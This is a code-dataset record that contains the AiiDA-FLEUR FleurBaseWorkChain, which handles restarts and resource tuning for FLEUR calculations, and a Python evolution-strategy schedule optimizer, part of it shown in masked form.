\"\"\"\n self.ctx.inputs = AttributeDict(self.exposed_inputs(FleurCalculation))\n self.ctx.max_queue_nodes = self.inputs.add_comp_para['max_queue_nodes']\n self.ctx.max_queue_wallclock_sec = self.inputs.add_comp_para[\n 'max_queue_wallclock_sec']\n input_options = self.inputs.options.get_dict()\n self.ctx.optimize_resources = input_options.pop('optimize_resources',\n True)\n self.ctx.inputs.metadata.options = input_options\n if 'description' in self.inputs:\n self.ctx.inputs.metadata.description = self.inputs.description\n else:\n self.ctx.inputs.metadata.description = ''\n if 'label' in self.inputs:\n self.ctx.inputs.metadata.label = self.inputs.label\n else:\n self.ctx.inputs.metadata.label = ''\n if not self.ctx.optimize_resources:\n self.ctx.can_be_optimised = False\n return\n resources_input = self.ctx.inputs.metadata.options['resources']\n try:\n self.ctx.num_machines = int(resources_input['num_machines'])\n self.ctx.num_mpiprocs_per_machine = int(resources_input[\n 'num_mpiprocs_per_machine'])\n except KeyError:\n self.ctx.can_be_optimised = False\n self.report('WARNING: Computation resources were not optimised.')\n else:\n try:\n self.ctx.num_cores_per_mpiproc = int(resources_input[\n 'num_cores_per_mpiproc'])\n self.ctx.use_omp = True\n self.ctx.suggest_mpi_omp_ratio = (self.ctx.\n num_mpiprocs_per_machine / self.ctx.num_cores_per_mpiproc)\n except KeyError:\n self.ctx.num_cores_per_mpiproc = 1\n self.ctx.use_omp = False\n self.ctx.suggest_mpi_omp_ratio = 1\n status = self.check_kpts()\n if status is None:\n self.ctx.can_be_optimised = True\n else:\n self.report('ERROR: Not optimal computational resources.')\n return status\n\n def check_kpts(self):\n \"\"\"\n This routine checks if the total number of requested cpus\n is a factor of kpts and makes an optimisation.\n\n If suggested number of num_mpiprocs_per_machine is 60% smaller than\n requested, it throws an exit code and calculation stop withour submission.\n \"\"\"\n if 'fleurinp' in self.ctx.inputs:\n fleurinp = self.ctx.inputs.fleurinp\n else:\n fleurinp = get_fleurinp_from_remote_data(self.ctx.inputs.\n parent_folder)\n only_even_MPI = self.inputs.add_comp_para['only_even_MPI']\n forbid_single_mpi = self.inputs.add_comp_para['forbid_single_mpi']\n try:\n machines, mpi_tasks, omp_threads, message = optimize_calc_options(\n self.ctx.num_machines, self.ctx.num_mpiprocs_per_machine,\n self.ctx.num_cores_per_mpiproc, self.ctx.use_omp, self.ctx.\n suggest_mpi_omp_ratio, fleurinp, only_even_MPI=\n only_even_MPI, forbid_single_mpi=forbid_single_mpi)\n except ValueError as exc:\n self.report(exc)\n return self.exit_codes.ERROR_NOT_OPTIMAL_RESOURCES\n self.report(message)\n self.ctx.inputs.metadata.options['resources']['num_machines'\n ] = machines\n self.ctx.inputs.metadata.options['resources'][\n 'num_mpiprocs_per_machine'] = mpi_tasks\n if self.ctx.use_omp:\n self.ctx.inputs.metadata.options['resources'][\n 'num_cores_per_mpiproc'] = omp_threads\n if 'environment_variables' not in self.ctx.inputs.metadata.options:\n self.ctx.inputs.metadata.options['environment_variables'] = {}\n self.ctx.inputs.metadata.options['environment_variables'][\n 'OMP_NUM_THREADS'] = str(omp_threads)\n\n @process_handler(priority=1, exit_codes=[FleurCalculation.exit_codes.\n ERROR_FLEUR_CALC_FAILED, FleurCalculation.exit_codes.ERROR_MT_RADII,\n FleurCalculation.exit_codes.ERROR_NO_RETRIEVED_FOLDER,\n FleurCalculation.exit_codes.ERROR_OPENING_OUTPUTS, FleurCalculation\n .exit_codes.ERROR_NO_OUTXML, FleurCalculation.exit_codes.\n ERROR_XMLOUT_PARSING_FAILED, FleurCalculation.exit_codes.\n ERROR_RELAX_PARSING_FAILED, FleurCalculation.exit_codes.\n ERROR_MISSING_DEPENDENCY])\n def _handle_general_error(self, calculation):\n \"\"\"\n Calculation failed for unknown reason.\n \"\"\"\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report(\n 'Calculation failed for a reason that can not be resolved automatically'\n )\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.\n ERROR_SOMETHING_WENT_WRONG)\n\n @process_handler(priority=48, exit_codes=FleurCalculation.exit_codes.\n ERROR_DROP_CDN)\n def _handle_dirac_equation(self, calculation):\n \"\"\"\n Sometimes relaxation calculation fails with Diraq problem which is usually caused by\n problems with reusing charge density. In this case we resubmit the calculation, dropping the input cdn.\n \"\"\"\n is_fleurinp_from_relax = False\n if 'fleurinp' in self.ctx.inputs:\n if 'relax.xml' in self.ctx.inputs.fleurinp.files:\n is_fleurinp_from_relax = True\n if 'parent_folder' in self.ctx.inputs and is_fleurinp_from_relax:\n del self.ctx.inputs.parent_folder\n self.ctx.restart_calc = None\n self.ctx.is_finished = False\n self.report(\n 'Calculation seems to fail due to corrupted charge density (can happenduring relaxation). I drop cdn from previous step'\n )\n return ProcessHandlerReport(True)\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report(\n 'Can not drop charge density. If I drop the remote folder, there will be no inp.xml'\n )\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.\n ERROR_SOMETHING_WENT_WRONG)\n\n @process_handler(priority=52, exit_codes=FleurCalculation.exit_codes.\n ERROR_VACUUM_SPILL_RELAX)\n def _handle_vacuum_spill_error(self, calculation):\n \"\"\"\n Calculation failed for unknown reason.\n \"\"\"\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report(\n 'FLEUR calculation failed because an atom spilled to the vacuum duringrelaxation. Can be fixed via RelaxBaseWorkChain.'\n )\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.\n ERROR_VACUUM_SPILL_RELAX)\n\n @process_handler(priority=51, exit_codes=FleurCalculation.exit_codes.\n ERROR_MT_RADII_RELAX)\n def _handle_mt_relax_error(self, calculation):\n \"\"\"\n Calculation failed for unknown reason.\n \"\"\"\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report(\n 'FLEUR calculation failed due to MT overlap. Can be fixed via RelaxBaseWorkChain'\n )\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.ERROR_MT_RADII_RELAX)\n\n @process_handler(priority=50, exit_codes=FleurCalculation.exit_codes.\n ERROR_NOT_ENOUGH_MEMORY)\n def _handle_not_enough_memory(self, calculation):\n \"\"\"\n Calculation failed due to lack of memory.\n Probably works for JURECA only, has to be tested for other systems.\n \"\"\"\n if not self.ctx.can_be_optimised:\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report(\n 'I am not allowed to optimize your settings. Consider providing at leastnum_machines and num_mpiprocs_per_machine'\n )\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.\n ERROR_MEMORY_ISSUE_NO_SOLUTION)\n self.ctx.restart_calc = None\n self.ctx.is_finished = False\n self.report(\n 'Calculation failed due to lack of memory, I resubmit it with twice larger amount of computational nodes and smaller MPI/OMP ratio'\n )\n propose_nodes = self.ctx.num_machines * 2\n if propose_nodes > self.ctx.max_queue_nodes:\n propose_nodes = self.ctx.max_queue_nodes\n self.ctx.num_machines = propose_nodes\n self.ctx.suggest_mpi_omp_ratio = self.ctx.suggest_mpi_omp_ratio / 2\n status = self.check_kpts()\n if status is not None:\n self.ctx.is_finished = True\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.\n ERROR_NOT_OPTIMAL_RESOURCES)\n if 'settings' not in self.ctx.inputs:\n settings = {}\n else:\n settings = self.ctx.inputs.settings.get_dict()\n settings.setdefault('remove_from_remotecopy_list', [])\n if 'mixing_history*' not in settings['remove_from_remotecopy_list']:\n settings['remove_from_remotecopy_list'].append('mixing_history*')\n self.ctx.inputs.settings = orm.Dict(dict=settings)\n remote = calculation.base.links.get_outgoing().get_node_by_label(\n 'remote_folder')\n if _is_remote_reusable(self.ctx.inputs, calculation):\n if 'fleurinp' in self.ctx.inputs:\n del self.ctx.inputs.fleurinp\n self.ctx.inputs.parent_folder = remote\n return ProcessHandlerReport(True)\n\n @process_handler(priority=47, exit_codes=FleurCalculation.exit_codes.\n ERROR_TIME_LIMIT)\n def _handle_time_limits(self, calculation):\n \"\"\"\n If calculation fails due to time limits, we simply resubmit it.\n \"\"\"\n from aiida.common.exceptions import NotExistent\n try:\n prev_calculation_remote = calculation.base.links.get_incoming(\n ).get_node_by_label('parent_folder')\n prev_calculation_status = (prev_calculation_remote.creator.\n exit_status)\n if prev_calculation_status in FleurCalculation.get_exit_statuses([\n 'ERROR_TIME_LIMIT']):\n self.ctx.is_finished = True\n self.results()\n return ProcessHandlerReport(True)\n except NotExistent:\n pass\n self.report(\n 'FleurCalculation failed due to time limits, I restart it from where it ended'\n )\n propose_wallclock = self.ctx.inputs.metadata.options[\n 'max_wallclock_seconds'] * 2\n if propose_wallclock > self.ctx.max_queue_wallclock_sec:\n propose_wallclock = self.ctx.max_queue_wallclock_sec\n self.ctx.inputs.metadata.options['max_wallclock_seconds'\n ] = propose_wallclock\n propose_nodes = self.ctx.num_machines * 2\n if propose_nodes > self.ctx.max_queue_nodes:\n propose_nodes = self.ctx.max_queue_nodes\n self.ctx.num_machines = propose_nodes\n remote = calculation.base.links.get_outgoing().get_node_by_label(\n 'remote_folder')\n self.ctx.is_finished = False\n if _is_remote_reusable(self.ctx.inputs, calculation):\n if 'fleurinp' in self.ctx.inputs:\n del self.ctx.inputs.fleurinp\n self.ctx.inputs.parent_folder = remote\n return ProcessHandlerReport(True)\n\n\ndef _is_remote_reusable(inputs, calculation):\n \"\"\"\n Check whether the remote folder of the given calculation\n can be resubmitted\n \"\"\"\n can_use_remote = False\n retrieved_filenames = calculation.base.links.get_outgoing(\n ).get_node_by_label('retrieved').list_object_names()\n if any(file in retrieved_filenames for file in ('cdn_last.hdf', 'cdn1')):\n can_use_remote = True\n if 'fleurinp' in inputs:\n modes = inputs.fleurinp.get_fleur_modes()\n if modes['force_theorem'] or modes['dos'] or modes['band']:\n can_use_remote = False\n return can_use_remote\n", "step-5": "###############################################################################\n# Copyright (c), Forschungszentrum Jülich GmbH, IAS-1/PGI-1, Germany. #\n# All rights reserved. #\n# This file is part of the AiiDA-FLEUR package. #\n# #\n# The code is hosted on GitHub at https://github.com/JuDFTteam/aiida-fleur #\n# For further information on the license, see the LICENSE.txt file #\n# For further information please visit http://www.flapw.de or #\n# http://aiida-fleur.readthedocs.io/en/develop/ #\n###############################################################################\n\"\"\"\nThis module contains the FleurBaseWorkChain.\nFleurBaseWorkChain is a workchain that wraps the submission of\nthe FLEUR calculation. Inheritance from the BaseRestartWorkChain\nallows to add scenarios to restart a calculation in an\nautomatic way if an expected failure occurred.\n\"\"\"\nfrom aiida import orm\nfrom aiida.common import AttributeDict\nfrom aiida.engine import while_\nfrom aiida.engine.processes.workchains import BaseRestartWorkChain\nfrom aiida.engine.processes.workchains.utils import process_handler, ProcessHandlerReport\n\nfrom aiida_fleur.tools.common_fleur_wf import optimize_calc_options\nfrom aiida_fleur.calculation.fleur import FleurCalculation\nfrom aiida_fleur.data.fleurinp import get_fleurinp_from_remote_data\n\n\nclass FleurBaseWorkChain(BaseRestartWorkChain):\n \"\"\"Workchain to run a FLEUR calculation with automated error handling and restarts\"\"\"\n _workflowversion = '0.2.1'\n _process_class = FleurCalculation\n\n @classmethod\n def define(cls, spec):\n super().define(spec)\n\n spec.expose_inputs(FleurCalculation, exclude=('metadata.options',))\n spec.input('options', valid_type=orm.Dict, help='Optional parameters to set up computational details.')\n spec.input('description', valid_type=str, required=False, non_db=True, help='Calculation description.')\n spec.input('label', valid_type=str, required=False, non_db=True, help='Calculation label.')\n spec.input(\n 'add_comp_para',\n valid_type=orm.Dict,\n default=lambda: orm.Dict(dict={\n 'only_even_MPI': False,\n 'forbid_single_mpi': False,\n 'max_queue_nodes': 20,\n 'max_queue_wallclock_sec': 86400\n }),\n help='Gives additional control over computational parameters'\n 'only_even_MPI: set to true if you want to suppress odd number of MPI processes in parallelisation.'\n 'This might speedup a calculation for machines having even number of sockets per node.'\n 'max_queue_nodes: maximal number of nodes allowed on the remote machine. Used only to automatically solve some FLEUR failures.'\n 'max_queue_wallclock_sec: maximal wallclock time allowed on the remote machine. Used only to automatically solve some FLEUR failures.'\n )\n\n spec.outline(\n cls.setup,\n cls.validate_inputs,\n while_(cls.should_run_process)(\n cls.run_process,\n cls.inspect_process,\n ),\n cls.results,\n )\n\n spec.expose_outputs(FleurCalculation)\n\n spec.exit_code(311,\n 'ERROR_VACUUM_SPILL_RELAX',\n message='FLEUR calculation failed because an atom spilled to the'\n 'vacuum during relaxation')\n spec.exit_code(313, 'ERROR_MT_RADII_RELAX', message='Overlapping MT-spheres during relaxation.')\n spec.exit_code(388, 'ERROR_TIME_LIMIT_NO_SOLUTION', message='Computational resources are not optimal.')\n spec.exit_code(389, 'ERROR_MEMORY_ISSUE_NO_SOLUTION', message='Computational resources are not optimal.')\n spec.exit_code(390, 'ERROR_NOT_OPTIMAL_RESOURCES', message='Computational resources are not optimal.')\n spec.exit_code(399,\n 'ERROR_SOMETHING_WENT_WRONG',\n message='FleurCalculation failed and FleurBaseWorkChain has no strategy '\n 'to resolve this')\n\n def validate_inputs(self):\n \"\"\"\n Validate inputs that might depend on each other and cannot be validated by the spec.\n Also define dictionary `inputs` in the context, that will contain the inputs for the\n calculation that will be launched in the `run_calculation` step.\n \"\"\"\n self.ctx.inputs = AttributeDict(self.exposed_inputs(FleurCalculation))\n\n self.ctx.max_queue_nodes = self.inputs.add_comp_para['max_queue_nodes']\n self.ctx.max_queue_wallclock_sec = self.inputs.add_comp_para['max_queue_wallclock_sec']\n\n input_options = self.inputs.options.get_dict()\n self.ctx.optimize_resources = input_options.pop('optimize_resources', True)\n self.ctx.inputs.metadata.options = input_options\n\n if 'description' in self.inputs:\n self.ctx.inputs.metadata.description = self.inputs.description\n else:\n self.ctx.inputs.metadata.description = ''\n if 'label' in self.inputs:\n self.ctx.inputs.metadata.label = self.inputs.label\n else:\n self.ctx.inputs.metadata.label = ''\n\n if not self.ctx.optimize_resources:\n self.ctx.can_be_optimised = False # set this for handlers to not change resources\n return\n\n resources_input = self.ctx.inputs.metadata.options['resources']\n try:\n self.ctx.num_machines = int(resources_input['num_machines'])\n self.ctx.num_mpiprocs_per_machine = int(resources_input['num_mpiprocs_per_machine'])\n except KeyError:\n self.ctx.can_be_optimised = False\n self.report('WARNING: Computation resources were not optimised.')\n else:\n try:\n self.ctx.num_cores_per_mpiproc = int(resources_input['num_cores_per_mpiproc'])\n self.ctx.use_omp = True\n self.ctx.suggest_mpi_omp_ratio = self.ctx.num_mpiprocs_per_machine / self.ctx.num_cores_per_mpiproc\n except KeyError:\n self.ctx.num_cores_per_mpiproc = 1\n self.ctx.use_omp = False\n self.ctx.suggest_mpi_omp_ratio = 1\n\n status = self.check_kpts()\n if status is None:\n self.ctx.can_be_optimised = True\n else:\n self.report('ERROR: Not optimal computational resources.')\n return status\n\n def check_kpts(self):\n \"\"\"\n This routine checks if the total number of requested cpus\n is a factor of kpts and makes an optimisation.\n\n If suggested number of num_mpiprocs_per_machine is 60% smaller than\n requested, it throws an exit code and calculation stop withour submission.\n \"\"\"\n if 'fleurinp' in self.ctx.inputs:\n fleurinp = self.ctx.inputs.fleurinp\n else:\n fleurinp = get_fleurinp_from_remote_data(self.ctx.inputs.parent_folder)\n\n only_even_MPI = self.inputs.add_comp_para['only_even_MPI']\n forbid_single_mpi = self.inputs.add_comp_para['forbid_single_mpi']\n try:\n machines, mpi_tasks, omp_threads, message = optimize_calc_options(self.ctx.num_machines,\n self.ctx.num_mpiprocs_per_machine,\n self.ctx.num_cores_per_mpiproc,\n self.ctx.use_omp,\n self.ctx.suggest_mpi_omp_ratio,\n fleurinp,\n only_even_MPI=only_even_MPI,\n forbid_single_mpi=forbid_single_mpi)\n except ValueError as exc:\n self.report(exc)\n return self.exit_codes.ERROR_NOT_OPTIMAL_RESOURCES\n\n self.report(message)\n\n self.ctx.inputs.metadata.options['resources']['num_machines'] = machines\n self.ctx.inputs.metadata.options['resources']['num_mpiprocs_per_machine'] = mpi_tasks\n if self.ctx.use_omp:\n self.ctx.inputs.metadata.options['resources']['num_cores_per_mpiproc'] = omp_threads\n if 'environment_variables' not in self.ctx.inputs.metadata.options:\n self.ctx.inputs.metadata.options['environment_variables'] = {}\n self.ctx.inputs.metadata.options['environment_variables']['OMP_NUM_THREADS'] = str(omp_threads)\n\n @process_handler(priority=1,\n exit_codes=[\n FleurCalculation.exit_codes.ERROR_FLEUR_CALC_FAILED,\n FleurCalculation.exit_codes.ERROR_MT_RADII,\n FleurCalculation.exit_codes.ERROR_NO_RETRIEVED_FOLDER,\n FleurCalculation.exit_codes.ERROR_OPENING_OUTPUTS,\n FleurCalculation.exit_codes.ERROR_NO_OUTXML,\n FleurCalculation.exit_codes.ERROR_XMLOUT_PARSING_FAILED,\n FleurCalculation.exit_codes.ERROR_RELAX_PARSING_FAILED,\n FleurCalculation.exit_codes.ERROR_MISSING_DEPENDENCY,\n ])\n def _handle_general_error(self, calculation):\n \"\"\"\n Calculation failed for unknown reason.\n \"\"\"\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report('Calculation failed for a reason that can not be resolved automatically')\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.ERROR_SOMETHING_WENT_WRONG)\n\n @process_handler(priority=48, exit_codes=FleurCalculation.exit_codes.ERROR_DROP_CDN)\n def _handle_dirac_equation(self, calculation):\n \"\"\"\n Sometimes relaxation calculation fails with Diraq problem which is usually caused by\n problems with reusing charge density. In this case we resubmit the calculation, dropping the input cdn.\n \"\"\"\n\n # try to drop remote folder and see if it helps\n is_fleurinp_from_relax = False\n if 'fleurinp' in self.ctx.inputs:\n if 'relax.xml' in self.ctx.inputs.fleurinp.files:\n is_fleurinp_from_relax = True\n\n if 'parent_folder' in self.ctx.inputs and is_fleurinp_from_relax:\n del self.ctx.inputs.parent_folder\n self.ctx.restart_calc = None\n self.ctx.is_finished = False\n self.report('Calculation seems to fail due to corrupted charge density (can happen'\n 'during relaxation). I drop cdn from previous step')\n return ProcessHandlerReport(True)\n\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report('Can not drop charge density. If I drop the remote folder, there will be no inp.xml')\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.ERROR_SOMETHING_WENT_WRONG)\n\n @process_handler(priority=52, exit_codes=FleurCalculation.exit_codes.ERROR_VACUUM_SPILL_RELAX)\n def _handle_vacuum_spill_error(self, calculation):\n \"\"\"\n Calculation failed for unknown reason.\n \"\"\"\n\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report('FLEUR calculation failed because an atom spilled to the vacuum during'\n 'relaxation. Can be fixed via RelaxBaseWorkChain.')\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.ERROR_VACUUM_SPILL_RELAX)\n\n @process_handler(priority=51, exit_codes=FleurCalculation.exit_codes.ERROR_MT_RADII_RELAX)\n def _handle_mt_relax_error(self, calculation):\n \"\"\"\n Calculation failed for unknown reason.\n \"\"\"\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report('FLEUR calculation failed due to MT overlap. Can be fixed via RelaxBaseWorkChain')\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.ERROR_MT_RADII_RELAX)\n\n @process_handler(priority=50, exit_codes=FleurCalculation.exit_codes.ERROR_NOT_ENOUGH_MEMORY)\n def _handle_not_enough_memory(self, calculation):\n \"\"\"\n Calculation failed due to lack of memory.\n Probably works for JURECA only, has to be tested for other systems.\n \"\"\"\n\n if not self.ctx.can_be_optimised:\n self.ctx.restart_calc = calculation\n self.ctx.is_finished = True\n self.report('I am not allowed to optimize your settings. Consider providing at least'\n 'num_machines and num_mpiprocs_per_machine')\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.ERROR_MEMORY_ISSUE_NO_SOLUTION)\n\n self.ctx.restart_calc = None\n self.ctx.is_finished = False\n self.report('Calculation failed due to lack of memory, I resubmit it with twice larger'\n ' amount of computational nodes and smaller MPI/OMP ratio')\n\n # increase number of nodes\n propose_nodes = self.ctx.num_machines * 2\n if propose_nodes > self.ctx.max_queue_nodes:\n propose_nodes = self.ctx.max_queue_nodes\n self.ctx.num_machines = propose_nodes\n\n self.ctx.suggest_mpi_omp_ratio = self.ctx.suggest_mpi_omp_ratio / 2\n\n status = self.check_kpts()\n if status is not None:\n self.ctx.is_finished = True\n self.results()\n return ProcessHandlerReport(True, self.exit_codes.ERROR_NOT_OPTIMAL_RESOURCES)\n\n if 'settings' not in self.ctx.inputs:\n settings = {}\n else:\n settings = self.ctx.inputs.settings.get_dict()\n settings.setdefault('remove_from_remotecopy_list', [])\n if 'mixing_history*' not in settings['remove_from_remotecopy_list']:\n settings['remove_from_remotecopy_list'].append('mixing_history*')\n self.ctx.inputs.settings = orm.Dict(dict=settings)\n\n #check if the cdn.hdf can be reused\n #Out of memory can also occur after a couple of iterations if the mixing_history gets too large\n remote = calculation.base.links.get_outgoing().get_node_by_label('remote_folder')\n if _is_remote_reusable(self.ctx.inputs, calculation):\n if 'fleurinp' in self.ctx.inputs:\n del self.ctx.inputs.fleurinp\n self.ctx.inputs.parent_folder = remote\n\n return ProcessHandlerReport(True)\n\n @process_handler(priority=47, exit_codes=FleurCalculation.exit_codes.ERROR_TIME_LIMIT)\n def _handle_time_limits(self, calculation):\n \"\"\"\n If calculation fails due to time limits, we simply resubmit it.\n \"\"\"\n from aiida.common.exceptions import NotExistent\n\n # if previous calculation failed for the same reason, do not restart\n try:\n prev_calculation_remote = calculation.base.links.get_incoming().get_node_by_label('parent_folder')\n prev_calculation_status = prev_calculation_remote.creator.exit_status\n if prev_calculation_status in FleurCalculation.get_exit_statuses(['ERROR_TIME_LIMIT']):\n self.ctx.is_finished = True\n self.results()\n return ProcessHandlerReport(True)\n except NotExistent:\n pass\n\n self.report('FleurCalculation failed due to time limits, I restart it from where it ended')\n\n # increase wallclock time\n propose_wallclock = self.ctx.inputs.metadata.options['max_wallclock_seconds'] * 2\n if propose_wallclock > self.ctx.max_queue_wallclock_sec:\n propose_wallclock = self.ctx.max_queue_wallclock_sec\n self.ctx.inputs.metadata.options['max_wallclock_seconds'] = propose_wallclock\n\n # increase number of nodes\n propose_nodes = self.ctx.num_machines * 2\n if propose_nodes > self.ctx.max_queue_nodes:\n propose_nodes = self.ctx.max_queue_nodes\n self.ctx.num_machines = propose_nodes\n\n remote = calculation.base.links.get_outgoing().get_node_by_label('remote_folder')\n\n # resubmit providing inp.xml and cdn from the remote folder\n self.ctx.is_finished = False\n if _is_remote_reusable(self.ctx.inputs, calculation):\n if 'fleurinp' in self.ctx.inputs:\n del self.ctx.inputs.fleurinp\n self.ctx.inputs.parent_folder = remote\n\n return ProcessHandlerReport(True)\n\n\ndef _is_remote_reusable(inputs, calculation):\n \"\"\"\n Check whether the remote folder of the given calculation\n can be resubmitted\n \"\"\"\n can_use_remote = False\n #If no charge density file is available to restart from the calculation will except\n #with a not nice error message. So we can only reuse the charge density if these files are available\n retrieved_filenames = calculation.base.links.get_outgoing().get_node_by_label('retrieved').list_object_names()\n if any(file in retrieved_filenames for file in (\n 'cdn_last.hdf',\n 'cdn1',\n )):\n can_use_remote = True\n\n if 'fleurinp' in inputs:\n modes = inputs.fleurinp.get_fleur_modes()\n if modes['force_theorem'] or modes['dos'] or modes['band']:\n # in modes listed above it makes no sense copying cdn.hdf\n can_use_remote = False\n # without fleurinp it is harder to extract modes in this case\n # - simply try to reuse cdn.hdf and hope it works\n\n return can_use_remote\n", "step-ids": [ 4, 7, 9, 14, 15 ] }
[ 4, 7, 9, 14, 15 ]
""" This module provides an optimizer class that is based on an evolution strategy algorithm. """ import copy, random, math from time import time from xml.dom import minidom from extra.schedule import Schedule from extra.printer import pprint, BLUE class Optimizer(object): """ This class is the implementation of the evolution strategy to optimize and evaluate schedules. """ def __init__(self, plant, orderList, simulator, evaluator): """ plant - the plant to run the simulation and evaluation on orderList - the list of orders in the given schedule simulator - Simulator instance to run a schedule evaluator - Evaluator instance to evaluate a schedule """ assert plant != None assert orderList != None self.plant = plant self.orderList = orderList self.simulator = simulator self.evaluator = evaluator # used for benchmarking self.simulatorTime = 0 # enable/disable console output self.printing = True # parameters for the evolution strategy algorithm self.populationSize = 0 self.indivMutationRate = 0 self.selectionRate = 0 self.mutationRange = 0 self.iterations = 0 @staticmethod def fromXml(xmlDoc, plant, orderList, simulator, evaluator): """ Loads the optimizer configuration and parameters from an XML tree. """ optimizer = Optimizer(plant, orderList, simulator, evaluator) element = xmlDoc.getElementsByTagName("optimizer") # there should only be 1 optimizer node in the XML tree! assert len(element) == 1 element = element[0] # load the different attributes optimizer.populationSize = \ int(element.getAttribute("populationSize")) optimizer.mutationRange = \ int(element.getAttribute("mutationRange")) optimizer.iterations = \ int(element.getAttribute("iterations")) optimizer.indivMutationRate = \ float(element.getAttribute("indivMutationRate")) optimizer.selectionRate = \ float(element.getAttribute("selectionRate")) return optimizer @staticmethod def fromXmlFile(filename, plant, orderList, simulator, evaluator): """ Loads the optimizer configuration and parameters from an XML tree. """ file = open(filename, "r") doc = minidom.parse(file) optimizer = Optimizer.fromXml(doc, plant, orderList, simulator, evaluator) file.close() return optimizer def run(self, initialPopulation = None): """ Entry point of the evolution strategy algorithm. """ pprint("OPT calculating initial population...", BLUE, self.printing) if initialPopulation == None: # if we don't get an initial set of schedules as the initial population, # then we need to generate one. population = self.initialPopulation() else: # if we do get an initial population as input, then we just need to # calculate the fitnesses of the schedules in it. for p in initialPopulation: self.calcIndividualFitness(p) # if the population is too small or too large (less than or larger than # self.populationSize) then this will fix that for us. population = self.mutatePopulation(initialPopulation) # go through the needed number of iterations and mutate the population # everytime, this will keep the best individuals and will return the # best population achieved at the end. for i in range(self.iterations): pprint("OPT iteration number %s" % (i + 1), BLUE, self.printing) population = self.mutatePopulation(population) return population def calcIndividualFitness(self, indiv): """ Calculates fitness of a schedule. """ t = time() self.simulator.simulate(indiv) self.evaluator.evaluate(indiv) t = time() - t self.simulatorTime += t def sortPopulation(self, population): """ Sorts the population based on fitness, to have the better individuals at the beginning of the population list. """ population.sort(lambda a, b: cmp(b.fitness, a.fitness)) def mutatePopulation(self, population): """ Mutates a population. Selects the best n individuals (based on the selectionRate) to mutate (maybe they'll give us even better individuals!). After mutating an individual, it checks if we have an individual that is similar to the mutated one, if so, then try to mutate again, otherwise, we simply calculate its fitness and append it to the list. We then sort the population based on fitness and return the best PopulationSize items. """ for i in range(int(math.ceil(self.selectionRate * len(population)))): mutatedIndiv = self.mutateIndividual(population[i]) while self.isIndividualInPopulation(mutatedIndiv, population) == True: mutatedIndiv = self.mutateIndividual(population[i]) self.calcIndividualFitness(mutatedIndiv) population.append(mutatedIndiv) self.sortPopulation(population) return population[:self.populationSize] def isIndividualInPopulation(self, individual, population): """ Checks if an individual is in a population. """ for i in population: if i == individual: return True return False def initialPopulation(self): """ Generates an initial population. """ population = [] # generate an initial individual, calculate its fitness and add it to our # new population initIndiv = self.initialIndividual() self.calcIndividualFitness(initIndiv) population.append(initIndiv) # until we have filled the population for i in range(self.populationSize): # keep mutating the initial individual to get new ones mutatedIndiv = self.mutateIndividual(initIndiv) # if that new individual is in the population, don't add it, try # getting a new one while self.isIndividualInPopulation(mutatedIndiv, population) == True: mutatedIndiv = self.mutateIndividual(initIndiv) self.calcIndividualFitness(mutatedIndiv) population.append(mutatedIndiv) self.sortPopulation(population) return population def mutateIndividual(self, originalIndiv): """ Gets an individual and returns a mutation of it. """ # we need to deepcopy the schedule object newIndiv = copy.deepcopy(originalIndiv) # emtpy its schedule (we don't need it since it will be generated from the # new start times using the simulator newIndiv.schedule = [] # same for the finish times newIndiv.finishTimes = [] indivLen = len(newIndiv.startTimes) # the plant-entrance times in the schedule should be equal to the number # of orders! otherwise, something is wrong! assert indivLen == len(self.orderList.orders) indexes = range(indivLen) # for n times (based on the individual mutation rate), mutate a random # order plant-entrance time that we didn't mutate before. for i in range(int(self.indivMutationRate * indivLen)): index = int(random.uniform(0, len(indexes))) newIndiv.startTimes[indexes[index]][2] = \ self.mutateGene(newIndiv.startTimes[indexes[index]][2]) del indexes[index] return newIndiv def mutateGene(self, value): """ Gets a value and returns a mutation of it based on the mutation range. """ addent = int(random.uniform(0, self.mutationRange)) if (random.uniform(0, 1) < 0.5): addent = -addent return max(0, value + addent) def initialIndividual(self): """ Generates an initial individual based on order deadlines - minimum processing time. Account whether an order has a current machine and current overtime. """ indiv = Schedule() for o in self.orderList.orders: if o.currentMachine == "": minProcTime = o.recipe.calcMinProcTime(self.plant) machineName = o.recipe.recipe[0][0] else: machineName = o.currentMachine minProcTime = o.recipe.calcMinProcTime(self.plant, o.currentMachine) indiv.startTimes.append( [o, str(machineName), max(0, o.deadline - minProcTime)]) return indiv
normal
{ "blob_id": "8ce2e9cd9ceed6c79a85682b8bc03a3ffb5131c4", "index": 3817, "step-1": "<mask token>\n\n\nclass Optimizer(object):\n <mask token>\n <mask token>\n\n @staticmethod\n def fromXml(xmlDoc, plant, orderList, simulator, evaluator):\n \"\"\"\n\t\tLoads the optimizer configuration and parameters from an XML tree.\n\t\t\"\"\"\n optimizer = Optimizer(plant, orderList, simulator, evaluator)\n element = xmlDoc.getElementsByTagName('optimizer')\n assert len(element) == 1\n element = element[0]\n optimizer.populationSize = int(element.getAttribute('populationSize'))\n optimizer.mutationRange = int(element.getAttribute('mutationRange'))\n optimizer.iterations = int(element.getAttribute('iterations'))\n optimizer.indivMutationRate = float(element.getAttribute(\n 'indivMutationRate'))\n optimizer.selectionRate = float(element.getAttribute('selectionRate'))\n return optimizer\n\n @staticmethod\n def fromXmlFile(filename, plant, orderList, simulator, evaluator):\n \"\"\"\n\t\tLoads the optimizer configuration and parameters from an XML tree.\n\t\t\"\"\"\n file = open(filename, 'r')\n doc = minidom.parse(file)\n optimizer = Optimizer.fromXml(doc, plant, orderList, simulator,\n evaluator)\n 